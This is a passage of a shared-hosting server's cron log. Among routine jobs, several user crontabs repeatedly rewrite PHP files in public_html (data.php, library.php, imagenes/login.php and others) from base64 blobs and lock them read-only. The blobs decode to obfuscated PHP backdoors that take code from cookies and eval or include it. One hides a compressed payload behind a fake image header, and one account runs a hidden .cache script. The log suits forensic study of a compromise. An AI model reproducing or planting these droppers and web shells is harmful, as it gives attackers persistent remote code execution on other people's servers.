JRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:45:02 medusa CROND[14283]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 07:45:02 medusa CROND[14298]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:45:02 medusa CROND[14291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:45:02 medusa CROND[14299]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:45:02 medusa CROND[14304]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:45:02 medusa CROND[14305]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:45:02 medusa CROND[14289]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:45:02 medusa CROND[14309]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:45:02 medusa CROND[14310]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 07:45:02 medusa CROND[14314]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:46:01 medusa CROND[16097]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 07:46:01 medusa CROND[16111]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 07:46:01 medusa CROND[16113]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:46:01 medusa CROND[16112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:46:01 medusa CROND[16114]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:46:01 medusa CROND[16115]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:46:01 medusa CROND[16117]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 07:46:01 medusa CROND[16120]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:46:01 medusa CROND[16121]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:46:01 medusa CROND[16122]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:46:01 medusa CROND[16124]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 07:46:01 medusa CROND[16128]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:46:01 medusa CROND[16125]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:46:01 medusa CROND[16132]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:46:01 medusa CROND[16133]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:47:01 medusa CROND[17910]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:47:01 medusa CROND[17911]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX